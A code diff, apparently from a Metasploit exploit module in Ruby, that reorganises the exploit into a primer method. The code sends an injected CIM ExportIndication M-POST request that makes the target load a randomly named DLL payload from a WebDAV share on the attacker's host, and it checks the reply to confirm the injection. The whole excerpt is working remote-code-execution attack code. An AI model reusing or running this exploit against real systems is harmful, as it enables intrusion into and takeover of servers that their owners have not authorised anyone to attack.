@@ -274,17 +274,21 @@ def check
274
274
275
275
def exploit
276
276
277
+ if datastore [ 'SRVPORT' ] . to_i != 80 || datastore [ 'URIPATH' ] != '/'
278
+ fail_with ( Exploit ::Failure ::Unknown , 'Using WebDAV requires SRVPORT=80 and URIPATH=/' )
279
+ end
280
+
281
+ super
282
+
283
+ end
284
+
285
+ def primer
286
+
277
287
basename = rand_text_alpha ( 3 )
278
288
share_name = rand_text_alpha ( 3 )
279
-
280
289
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
281
-
282
290
exploit_unc = "\\ \\ #{ myhost } \\ "
283
291
284
- if datastore [ 'SRVPORT' ] . to_i != 80 || datastore [ 'URIPATH' ] != '/'
285
- fail_with ( Exploit ::Failure ::Unknown , 'Using WebDAV requires SRVPORT=80 and URIPATH=/' )
286
- end
287
-
288
292
vprint_status ( "Payload available at #{ exploit_unc } #{ share_name } \\ #{ basename } .dll" )
289
293
290
294
@peer = "#{ rhost } :#{ rport } "
@@ -296,16 +300,19 @@ def exploit
296
300
'method' => 'M-POST' ,
297
301
'ctype' => 'application/xml; charset=utf-8' ,
298
302
'headers' => {
299
- "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40" ,
300
- "CIMOperation" => "MethodCall" ,
301
- "CIMExport" => "MethodRequest" ,
303
+ "Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40" ,
304
+ "CIMOperation" => "MethodCall" ,
305
+ "CIMExport" => "MethodRequest" ,
302
306
"CIMExportMethod" => "ExportIndication"
303
307
} ,
304
308
'data' => xml_data ,
305
- } , 1 )
306
-
307
- super
309
+ } )
308
310
311
+ if res and res . code == 200 and res . body =~ /CIMVERSION/
312
+ print_status "#{ @peer } - Then injection seemed to work..."
313
+ else
314
+ fail_with ( Exploit ::Failure ::Unknown , "#{ @peer } - Unexpected response" )
315
+ end
309
316
end
310
317
311
318
end
0 commit comments